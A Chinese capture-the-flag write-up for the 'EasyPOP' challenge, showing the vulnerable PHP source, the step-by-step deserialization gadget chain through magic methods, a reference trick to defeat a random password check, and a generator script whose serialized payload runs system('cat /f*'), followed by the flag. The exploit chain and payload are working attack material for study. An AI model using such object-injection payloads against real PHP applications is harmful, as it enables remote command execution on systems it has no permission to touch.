ctf->show(),ctf为secret_code类,调用secret_code::show()5.return $this->code->secret,调用不存在的属性,code为sorry类,进入sorry::__get()使用name=&password,让两者值恒等,绕过随机赋值。">
当前位置:   article > 正文

[DASCTF X GFCTF 2022十月挑战赛!]EasyPOP WP

[DASCTF X GFCTF 2022十月挑战赛!]EasyPOP WP
  1. <?php
  2. highlight_file(__FILE__);
  3. error_reporting(0);
  4. class fine
  5. {
  6. private $cmd;
  7. private $content;
  8. public function __construct($cmd, $content)
  9. {
  10. $this->cmd = $cmd;
  11. $this->content = $content;
  12. }
  13. public function __invoke()
  14. {
  15. call_user_func($this->cmd, $this->content);
  16. }
  17. public function __wakeup()
  18. {
  19. $this->cmd = "";
  20. die("Go listen to Jay Chou's secret-code! Really nice");
  21. }
  22. }
  23. class show
  24. {
  25. public $ctf;
  26. public $time = "Two and a half years";
  27. public function __construct($ctf)
  28. {
  29. $this->ctf = $ctf;
  30. }
  31. public function __toString()
  32. {
  33. return $this->ctf->show();
  34. }
  35. public function show(): string
  36. {
  37. return $this->ctf . ": Duration of practice: " . $this->time;
  38. }
  39. }
  40. class sorry
  41. {
  42. private $name;
  43. private $password;
  44. public $hint = "hint is depend on you";
  45. public $key;
  46. public function __construct($name, $password)
  47. {
  48. $this->name = $name;
  49. $this->password = $password;
  50. }
  51. public function __sleep()
  52. {
  53. $this->hint = new secret_code();
  54. }
  55. public function __get($name)
  56. {
  57. $name = $this->key;
  58. $name();
  59. }
  60. public function __destruct()
  61. {
  62. if ($this->password == $this->name) {
  63. echo $this->hint;
  64. } else if ($this->name = "jay") {
  65. secret_code::secret();
  66. } else {
  67. echo "This is our code";
  68. }
  69. }
  70. public function getPassword()
  71. {
  72. return $this->password;
  73. }
  74. public function setPassword($password): void
  75. {
  76. $this->password = $password;
  77. }
  78. }
  79. class secret_code
  80. {
  81. protected $code;
  82. public static function secret()
  83. {
  84. include_once "hint.php";
  85. hint();
  86. }
  87. public function __call($name, $arguments)
  88. {
  89. $num = $name;
  90. $this->$num();
  91. }
  92. private function show()
  93. {
  94. return $this->code->secret;
  95. }
  96. }
  97. if (isset($_GET['pop'])) {
  98. $a = unserialize($_GET['pop']);
  99. $a->setPassword(md5(mt_rand()));
  100. } else {
  101. $a = new show("Ctfer");
  102. echo $a->show();
  103. }
  104. Ctfer: Duration of practice: Two and a half years

入口:pop参数传入序列化数据

出口:fine::__invoke()里的call_user_func用来执行系统命令,查看flag

利用顺序:

1.sorry::setPassword,给password赋值随机数

2.sorry::__destruct,如果name和password不相等,会调用secret_code::secret(),进而include_once "hint.php"。但是只会跳转到听歌界面,没有flag。
使用name=&password,让两者值恒等,绕过随机赋值。

3.echo $this->hint,将hint当作字符串调用。hint为show类,进入show::__toString

4.return $this->ctf->show(),ctf为secret_code类,调用secret_code::show()

5.return $this->code->secret,调用不存在的属性,code为sorry类,进入sorry::__get()

6.key赋值name,以函数调用name。key为fine类,进入fine:__invoke()

7.cmd,content分别赋值'system', 'cat /f*'

8.为了绕过fine::__wakeup,修改序列化数据(具体上网查)

payload:

构造序列化数据时可以把数据都改为public,方便操作

  1. <?php
  2. class fine
  3. {
  4. public $cmd;
  5. public $content;
  6. }
  7. class show
  8. {
  9. public $ctf;
  10. }
  11. class sorry
  12. {
  13. public $name;
  14. public $password;
  15. public $hint;
  16. public $key;
  17. }
  18. class secret_code
  19. {
  20. public $code;
  21. }
  22. $pop=new sorry();
  23. $pop->name=&$pop->password;
  24. $pop->hint=new show();
  25. $pop->hint->ctf=new secret_code();
  26. $pop->hint->ctf->code=new sorry();
  27. $pop->hint->ctf->code->key=new fine();
  28. $pop->hint->ctf->code->key->cmd='system';
  29. $pop->hint->ctf->code->key->content='cat /f*';
  30. echo urlencode(serialize($pop));
  31. ?>

flag{2766a0c2-44c1-4547-b0b9-4cfa91609a3c}

难点:call_user_func('system', 'cat /f*');
call_user_func('system', 'ls');可以执行系统命令

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/在线问答5/article/detail/984152
推荐阅读
相关标签
  

闽ICP备14008679号